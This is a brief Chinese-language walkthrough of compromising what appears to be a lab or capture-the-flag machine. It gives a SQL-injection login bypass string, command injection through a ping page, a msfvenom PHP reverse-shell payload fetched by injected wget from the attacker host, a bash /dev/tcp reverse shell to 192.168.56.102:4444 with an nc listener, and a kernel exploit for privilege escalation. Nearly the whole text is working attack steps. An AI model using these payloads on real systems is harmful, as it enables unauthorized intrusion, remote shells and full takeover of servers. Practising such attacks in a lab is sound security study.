方法一

发现http，浏览器访问

使用admin，万能密码' or 1=1#登录成功，发现是个ping功能页面，尝试命令注入

根据结果发现id被执行，存在命令注入漏洞

根据服务器使用php，准备回弹shell，使用msfvenom，生成php反弹shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f raw > /home/kali/shell.php

使用msf监听回弹端口

命令注入页面提交127.0.0.1;cd /tmp;wget http://192.168.56.102:8090/shell.php 传输php反弹shell

再提交；cd /tmp && php -f shell.php,反弹成功，获得shell

查看Linux内核版本

搜索版本对应exp

尝试9545.c，提权成功

方法二

命令注入页面输入localhost; bash -i >& /dev/tcp/192.168.56.102/4444 0>&1

攻击机使用nc -nlvp 4444监听

回弹shell
